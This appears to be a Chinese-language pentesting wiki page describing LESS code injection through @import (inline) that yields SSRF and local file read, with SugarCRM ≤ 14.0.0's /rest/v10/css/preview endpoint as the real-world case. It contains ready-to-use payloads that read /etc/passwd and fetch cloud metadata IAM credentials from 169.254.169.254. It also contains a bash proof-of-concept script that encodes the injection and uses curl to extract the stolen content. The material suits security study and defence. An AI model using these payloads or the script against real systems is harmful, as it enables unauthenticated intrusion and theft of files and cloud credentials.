LESS Code Injection leading to SSRF & Local File Read

LESS 是一种流行的 CSS 预处理器,添加了变量、mixins、函数以及强大的 @import 指令。在编译期间,当使用 (inline) 选项时,LESS 引擎会获取 @import 语句中引用的资源并将其内容嵌入(“inline”)到生成的 CSS 中。

当应用把用户可控输入拼接到随后由 LESS 编译器解析的字符串中时,攻击者可以注入任意 LESS 代码。通过滥用 @import (inline),攻击者可以强制服务器检索:

  • 通过 file:// 协议访问本地文件(信息泄露 / Local File Inclusion)。
  • 访问内部网络或云元数据服务上的远程资源(SSRF)。

这种技术已在真实产品中被发现,例如 SugarCRM ≤ 14.0.0/rest/v10/css/preview 端点)。

Exploitation

  1. 识别一个被直接嵌入到由 LESS 引擎处理的样式表字符串中的参数(例如在 SugarCRM 中的 ?lm=)。
  2. 结束当前语句并注入新的指令。最常见的原语是:
  • ; – 终止之前的声明。
  • } – 关闭之前的块(如果需要)。
  1. 使用 @import (inline) '<URL>'; 来读取任意资源。
  2. 可选地在 import 之后注入一个 标记data: URI),以便从编译后的 CSS 中提取获取到的内容。

Local File Read

1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //

/etc/passwd 的内容将在 HTTP 响应中出现在 @@END@@ 标记之前。

SSRF – 云元数据

1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //

自动化 PoC (SugarCRM 示例)

bash
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd

TARGET="$1"        # Base URL of SugarCRM instance
RESOURCE="$2"      # file:// path or URL to fetch

INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")

curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'

真实案例

产品易受攻击的端点影响
SugarCRM ≤ 14.0.0/rest/v10/css/preview?lm=无需认证的 SSRF 与 本地文件读取

参考资料